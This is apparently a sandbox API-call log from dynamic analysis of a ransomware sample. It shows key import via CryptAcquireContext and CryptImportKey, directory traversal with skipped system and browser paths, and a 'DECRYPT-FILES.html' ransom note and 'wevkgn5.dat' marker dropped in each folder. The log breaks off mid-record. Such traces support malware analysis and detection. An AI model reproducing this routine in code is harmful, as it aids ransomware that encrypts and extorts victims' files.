[0053.911] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="DisableThreadLibraryCalls" | out: lpString1="DisableThreadLibraryCalls") returned="DisableThreadLibraryCalls" [0053.911] lstrlenA (lpString="DISABLETHREADLIBRARYCALLS") returned 25 [0053.911] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="DisableThreadProfiling" | out: lpString1="DisableThreadProfiling") returned="DisableThreadProfiling" [0053.911] lstrlenA (lpString="DISABLETHREADPROFILING") returned 22 [0053.911] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="DisassociateCurrentThreadFromCallback" | out: lpString1="DisassociateCurrentThreadFromCallback") returned="DisassociateCurrentThreadFromCallback" [0053.911] lstrlenA (lpString="DISASSOCIATECURRENTTHREADFROMCALLBACK") returned 37 [0053.911] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="DisconnectNamedPipe" | out: lpString1="DisconnectNamedPipe") returned="DisconnectNamedPipe" [0053.911] lstrlenA (lpString="DISCONNECTNAMEDPIPE") returned 19 [0053.911] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="DnsHostnameToComputerNameA" | out: lpString1="DnsHostnameToComputerNameA") returned="DnsHostnameToComputerNameA" [0053.911] lstrlenA (lpString="DNSHOSTNAMETOCOMPUTERNAMEA") returned 26 [0053.911] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="DnsHostnameToComputerNameW" | out: lpString1="DnsHostnameToComputerNameW") returned="DnsHostnameToComputerNameW" [0053.911] lstrlenA (lpString="DNSHOSTNAMETOCOMPUTERNAMEW") returned 26 [0053.911] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="DosDateTimeToFileTime" | out: lpString1="DosDateTimeToFileTime") returned="DosDateTimeToFileTime" [0053.911] lstrlenA (lpString="DOSDATETIMETOFILETIME") returned 21 [0053.911] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="DosPathToSessionPathA" | out: lpString1="DosPathToSessionPathA") returned="DosPathToSessionPathA" [0053.911] lstrlenA (lpString="DOSPATHTOSESSIONPATHA") returned 21 [0053.911] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="DosPathToSessionPathW" | out: lpString1="DosPathToSessionPathW") returned="DosPathToSessionPathW" [0053.911] lstrlenA (lpString="DOSPATHTOSESSIONPATHW") returned 21 [0053.911] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="DuplicateConsoleHandle" | out: lpString1="DuplicateConsoleHandle") returned="DuplicateConsoleHandle" [0053.911] lstrlenA (lpString="DUPLICATECONSOLEHANDLE") returned 22 [0053.912] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="DuplicateHandle" | out: lpString1="DuplicateHandle") returned="DuplicateHandle" [0053.912] lstrlenA (lpString="DUPLICATEHANDLE") returned 15 [0053.912] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="EnableThreadProfiling" | out: lpString1="EnableThreadProfiling") returned="EnableThreadProfiling" [0053.912] lstrlenA (lpString="ENABLETHREADPROFILING") returned 21 [0053.912] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="EncodePointer" | out: lpString1="EncodePointer") returned="EncodePointer" [0053.912] lstrlenA (lpString="ENCODEPOINTER") returned 13 [0053.912] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="EncodeSystemPointer" | out: lpString1="EncodeSystemPointer") returned="EncodeSystemPointer" [0053.912] lstrlenA (lpString="ENCODESYSTEMPOINTER") returned 19 [0053.912] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="EndUpdateResourceA" | out: lpString1="EndUpdateResourceA") returned="EndUpdateResourceA" [0053.912] lstrlenA (lpString="ENDUPDATERESOURCEA") returned 18 [0053.912] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="EndUpdateResourceW" | out: lpString1="EndUpdateResourceW") returned="EndUpdateResourceW" [0053.912] lstrlenA (lpString="ENDUPDATERESOURCEW") returned 18 [0053.912] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="EnterCriticalSection" | out: lpString1="EnterCriticalSection") returned="EnterCriticalSection" [0053.912] lstrlenA (lpString="ENTERCRITICALSECTION") returned 20 [0053.912] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="EnumCalendarInfoA" | out: lpString1="EnumCalendarInfoA") returned="EnumCalendarInfoA" [0053.912] lstrlenA (lpString="ENUMCALENDARINFOA") returned 17 [0053.912] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="EnumCalendarInfoExA" | out: lpString1="EnumCalendarInfoExA") returned="EnumCalendarInfoExA" [0053.912] lstrlenA (lpString="ENUMCALENDARINFOEXA") returned 19 [0053.912] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="EnumCalendarInfoExEx" | out: lpString1="EnumCalendarInfoExEx") returned="EnumCalendarInfoExEx" [0053.912] lstrlenA (lpString="ENUMCALENDARINFOEXEX") returned 20 [0053.912] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="EnumCalendarInfoExW" | out: lpString1="EnumCalendarInfoExW") returned="EnumCalendarInfoExW" [0053.912] lstrlenA (lpString="ENUMCALENDARINFOEXW") returned 19 [0053.912] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="EnumCalendarInfoW" | out: lpString1="EnumCalendarInfoW") returned="EnumCalendarInfoW" [0053.912] lstrlenA (lpString="ENUMCALENDARINFOW") returned 17 [0053.912] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="EnumDateFormatsA" | out: lpString1="EnumDateFormatsA") returned="EnumDateFormatsA" [0053.912] lstrlenA (lpString="ENUMDATEFORMATSA") returned 16 [0053.912] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="EnumDateFormatsExA" | out: lpString1="EnumDateFormatsExA") returned="EnumDateFormatsExA" [0053.912] lstrlenA (lpString="ENUMDATEFORMATSEXA") returned 18 [0053.912] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="EnumDateFormatsExEx" | out: lpString1="EnumDateFormatsExEx") returned="EnumDateFormatsExEx" [0053.912] lstrlenA (lpString="ENUMDATEFORMATSEXEX") returned 19 [0053.912] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="EnumDateFormatsExW" | out: lpString1="EnumDateFormatsExW") returned="EnumDateFormatsExW" [0053.912] lstrlenA (lpString="ENUMDATEFORMATSEXW") returned 18 [0053.912] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="EnumDateFormatsW" | out: lpString1="EnumDateFormatsW") returned="EnumDateFormatsW" [0053.913] lstrcpyW (in: lpString1=0x2ed0000, lpString2="qwertyuiopasdfghjklzxcvbnm1234567890 " | out: lpString1="qwertyuiopasdfghjklzxcvbnm1234567890 ") returned="qwertyuiopasdfghjklzxcvbnm1234567890 " [0053.913] RegisterClassExW (param_1=0x2d9ff24) returned 0xc141 [0053.933] CreateWindowExW (dwExStyle=0x0, lpClassName=" kfw96 9 5", lpWindowName=" kfw96 9 5", dwStyle=0x0, X=-2147483648, Y=-2147483648, nWidth=1, nHeight=1, hWndParent=0x0, hMenu=0x0, hInstance=0x7efde000, lpParam=0x0) returned 0x401c2 [0054.972] VirtualFree (lpAddress=0x2ec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.973] VirtualFree (lpAddress=0x2ed0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.973] VirtualFree (lpAddress=0x2eb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.973] GetMessageA (lpMsg=0x2d9ff60, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0) Thread: id = 61 os_tid = 0xa80 [0056.595] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x2f70000 [0056.596] CryptAcquireContextW (in: phProv=0x2f70004, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2f70004*=0x680530) returned 1 [0056.597] CryptImportKey (in: hProv=0x680530, pbData=0x2eb0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x2f70008 | out: phKey=0x2f70008*=0x66cdd8) returned 1 [0056.597] StrStrW (lpFirst="C:\\", lpSrch=":\\Windows") returned 0x0 [0056.597] StrStrW (lpFirst="C:\\", lpSrch="\\Program Files") returned 0x0 [0056.597] StrStrW (lpFirst="C:\\", lpSrch="\\Games\\") returned 0x0 [0056.597] StrStrW (lpFirst="C:\\", lpSrch="\\Tor Browser\\") returned 0x0 [0056.597] StrStrW (lpFirst="C:\\", lpSrch="\\ProgramData\\") returned 0x0 [0056.597] StrStrW (lpFirst="C:\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0056.597] StrStrW (lpFirst="C:\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0056.597] StrStrW (lpFirst="C:\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0056.597] StrStrW (lpFirst="C:\\", lpSrch="\\All Users") returned 0x0 [0056.597] lstrlenW (lpString="C:\\") returned 3 [0056.597] lstrlenW (lpString="wevkgn5.dat") returned 11 [0056.597] wsprintfW (in: param_1=0x321f4f4, param_2="%s\\%s" | out: param_1="C:\\\\wevkgn5.dat") returned 15 [0056.597] CreateFileW (lpFileName="C:\\\\wevkgn5.dat" (normalized: "c:\\wevkgn5.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x230 [0056.598] lstrlenW (lpString="C:\\") returned 3 [0056.598] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0056.598] wsprintfW (in: param_1=0x321f4f4, param_2="%s\\%s" | out: param_1="C:\\\\DECRYPT-FILES.html") returned 22 [0056.598] CreateFileW (lpFileName="C:\\\\DECRYPT-FILES.html" (normalized: "c:\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0056.598] WriteFile (in: hFile=0x22c, lpBuffer=0x2f90000*, nNumberOfBytesToWrite=0x19ba, lpNumberOfBytesWritten=0x321f4f0, lpOverlapped=0x0 | out: lpBuffer=0x2f90000*, lpNumberOfBytesWritten=0x321f4f0*=0x19ba, lpOverlapped=0x0) returned 1 [0056.599] CloseHandle (hObject=0x22c) returned 1 [0056.602] lstrlenW (lpString="C:\\") returned 3 [0056.602] lstrcatW (in: lpString1="C:\\", lpString2="*" | out: lpString1="C:\\*") returned="C:\\*" [0056.602] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x321fd14 | out: lpFindFileData=0x321fd14*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c34864, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x66ce18 [0056.603] lstrcmpW (lpString1="$Recycle.Bin", lpString2=".") returned -1 [0056.603] lstrcmpW (lpString1="$Recycle.Bin", lpString2="..") returned -1 [0056.603] lstrcatW (in: lpString1="$Recycle.Bin", lpString2="\\" | out: lpString1="$Recycle.Bin\\") returned="$Recycle.Bin\\" [0056.603] lstrcatW (in: lpString1="C:\\", lpString2="$Recycle.Bin\\" | out: lpString1="C:\\$Recycle.Bin\\") returned="C:\\$Recycle.Bin\\" [0056.603] StrStrW (lpFirst="C:\\$Recycle.Bin\\", lpSrch=":\\Windows") returned 0x0 [0056.603] StrStrW (lpFirst="C:\\$Recycle.Bin\\", lpSrch="\\Program Files") returned 0x0 [0056.603] StrStrW (lpFirst="C:\\$Recycle.Bin\\", lpSrch="\\Games\\") returned 0x0 [0056.603] StrStrW (lpFirst="C:\\$Recycle.Bin\\", lpSrch="\\Tor Browser\\") returned 0x0 [0056.603] StrStrW (lpFirst="C:\\$Recycle.Bin\\", lpSrch="\\ProgramData\\") returned 0x0 [0056.603] StrStrW (lpFirst="C:\\$Recycle.Bin\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0056.603] StrStrW (lpFirst="C:\\$Recycle.Bin\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0056.603] StrStrW (lpFirst="C:\\$Recycle.Bin\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0056.603] StrStrW (lpFirst="C:\\$Recycle.Bin\\", lpSrch="\\All Users") returned 0x0 [0056.603] lstrlenW (lpString="C:\\$Recycle.Bin\\") returned 16 [0056.603] lstrlenW (lpString="wevkgn5.dat") returned 11 [0056.603] wsprintfW (in: param_1=0x321f278, param_2="%s\\%s" | out: param_1="C:\\$Recycle.Bin\\\\wevkgn5.dat") returned 28 [0056.603] CreateFileW (lpFileName="C:\\$Recycle.Bin\\\\wevkgn5.dat" (normalized: "c:\\$recycle.bin\\wevkgn5.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x23c [0056.621] lstrlenW (lpString="C:\\$Recycle.Bin\\") returned 16 [0056.621] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0056.621] wsprintfW (in: param_1=0x321f278, param_2="%s\\%s" | out: param_1="C:\\$Recycle.Bin\\\\DECRYPT-FILES.html") returned 35 [0056.621] CreateFileW (lpFileName="C:\\$Recycle.Bin\\\\DECRYPT-FILES.html" (normalized: "c:\\$recycle.bin\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0056.621] WriteFile (in: hFile=0x240, lpBuffer=0x2f90000*, nNumberOfBytesToWrite=0x19ba, lpNumberOfBytesWritten=0x321f274, lpOverlapped=0x0 | out: lpBuffer=0x2f90000*, lpNumberOfBytesWritten=0x321f274*=0x19ba, lpOverlapped=0x0) returned 1 [0056.622] CloseHandle (hObject=0x240) returned 1 [0056.622] lstrlenW (lpString="C:\\$Recycle.Bin\\") returned 16 [0056.622] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\", lpString2="*" | out: lpString1="C:\\$Recycle.Bin\\*") returned="C:\\$Recycle.Bin\\*" [0056.622] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x321fa98 | out: lpFindFileData=0x321fa98*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x88604d90, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88604d90, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66cf18 [0056.623] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0056.623] FindNextFileW (in: hFindFile=0x66cf18, lpFindFileData=0x321fa98 | out: lpFindFileData=0x321fa98*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x88604d90, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88604d90, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.623] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0056.623] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0056.623] FindNextFileW (in: hFindFile=0x66cf18, lpFindFileData=0x321fa98 | out: lpFindFileData=0x321fa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88604d90, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x88604d90, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88604d90, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x19ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0056.623] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0056.623] FindNextFileW (in: hFindFile=0x66cf18, lpFindFileData=0x321fa98 | out: lpFindFileData=0x321fa98*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0056.623] lstrcmpW (lpString1="S-1-5-21-3388679973-3930757225-3770151564-1000", lpString2=".") returned 1 [0056.623] lstrcmpW (lpString1="S-1-5-21-3388679973-3930757225-3770151564-1000", lpString2="..") returned 1 [0056.623] lstrcatW (in: lpString1="S-1-5-21-3388679973-3930757225-3770151564-1000", lpString2="\\" | out: lpString1="S-1-5-21-3388679973-3930757225-3770151564-1000\\") returned="S-1-5-21-3388679973-3930757225-3770151564-1000\\" [0056.623] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000\\" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\") returned="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\" [0056.624] StrStrW (lpFirst="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\", lpSrch=":\\Windows") returned 0x0 [0056.624] StrStrW (lpFirst="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\", lpSrch="\\Program Files") returned 0x0 [0056.624] StrStrW (lpFirst="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\", lpSrch="\\Games\\") returned 0x0 [0056.624] StrStrW (lpFirst="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\", lpSrch="\\Tor Browser\\") returned 0x0 [0056.624] StrStrW (lpFirst="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\", lpSrch="\\ProgramData\\") returned 0x0 [0056.624] StrStrW (lpFirst="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0056.624] StrStrW (lpFirst="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0056.624] StrStrW (lpFirst="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0056.624] StrStrW (lpFirst="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\", lpSrch="\\All Users") returned 0x0 [0056.624] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\") returned 63 [0056.624] lstrlenW (lpString="wevkgn5.dat") returned 11 [0056.624] wsprintfW (in: param_1=0x321effc, param_2="%s\\%s" | out: param_1="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\\\wevkgn5.dat") returned 75 [0056.624] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\\\wevkgn5.dat" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\wevkgn5.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x21c [0056.674] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\") returned 63 [0056.674] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0056.674] wsprintfW (in: param_1=0x321effc, param_2="%s\\%s" | out: param_1="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\\\DECRYPT-FILES.html") returned 82 [0056.674] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\\\DECRYPT-FILES.html" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0056.674] WriteFile (in: hFile=0x208, lpBuffer=0x2f90000*, nNumberOfBytesToWrite=0x19ba, lpNumberOfBytesWritten=0x321eff8, lpOverlapped=0x0 | out: lpBuffer=0x2f90000*, lpNumberOfBytesWritten=0x321eff8*=0x19ba, lpOverlapped=0x0) returned 1 [0056.675] CloseHandle (hObject=0x208) returned 1 [0056.675] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\") returned 63 [0056.676] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\", lpString2="*" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*") returned="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*" [0056.676] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x8869d310, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x8869d310, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x68efe8, cFileName=".", cAlternateFileName="")) returned 0x66ccd8 [0056.676] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0056.676] FindNextFileW (in: hFindFile=0x66ccd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x8869d310, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x8869d310, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x68efe8, cFileName="..", cAlternateFileName="")) returned 1 [0056.676] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0056.676] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0056.676] FindNextFileW (in: hFindFile=0x66ccd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8869d310, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x8869d310, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x8869d310, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x19ba, dwReserved0=0x0, dwReserved1=0x68efe8, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0056.676] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0056.676] FindNextFileW (in: hFindFile=0x66ccd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x68efe8, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0056.676] lstrcmpiW (lpString1="desktop.ini", lpString2="DECRYPT-FILES.html") returned 1 [0056.676] lstrcmpiW (lpString1="desktop.ini", lpString2="autorun.inf") returned 1 [0056.676] lstrcmpiW (lpString1="desktop.ini", lpString2="boot.ini") returned 1 [0056.676] lstrcmpiW (lpString1="desktop.ini", lpString2="desktop.ini") returned 0 [0056.676] FindNextFileW (in: hFindFile=0x66ccd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886771b0, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x886771b0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x886771b0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x68efe8, cFileName="wevkgn5.dat", cAlternateFileName="")) returned 1 [0056.676] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="DECRYPT-FILES.html") returned 1 [0056.676] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="autorun.inf") returned 1 [0056.676] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="boot.ini") returned 1 [0056.676] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="desktop.ini") returned 1 [0056.676] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat") returned 1 [0056.676] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="iconcache.db") returned 1 [0056.676] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="bootsect.bak") returned 1 [0056.676] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat.log") returned 1 [0056.676] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="thumbs.db") returned 1 [0056.676] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="Bootfont.bin") returned 1 [0056.676] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\") returned 63 [0056.676] lstrlenW (lpString="wevkgn5.dat") returned 11 [0056.676] lstrcpyW (in: lpString1=0x321efec, lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\") returned="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\" [0056.677] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\", lpString2="wevkgn5.dat" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\wevkgn5.dat") returned="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\wevkgn5.dat" [0056.677] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0056.677] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\wevkgn5.dat" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\wevkgn5.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.677] CloseHandle (hObject=0x0) returned 0 [0056.677] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.677] FindNextFileW (in: hFindFile=0x66ccd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886771b0, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x886771b0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x886771b0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x68efe8, cFileName="wevkgn5.dat", cAlternateFileName="")) returned 0 [0056.677] FindClose (in: hFindFile=0x66ccd8 | out: hFindFile=0x66ccd8) returned 1 [0056.678] CloseHandle (hObject=0x21c) returned 1 [0056.678] FindNextFileW (in: hFindFile=0x66cf18, lpFindFileData=0x321fa98 | out: lpFindFileData=0x321fa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88604d90, 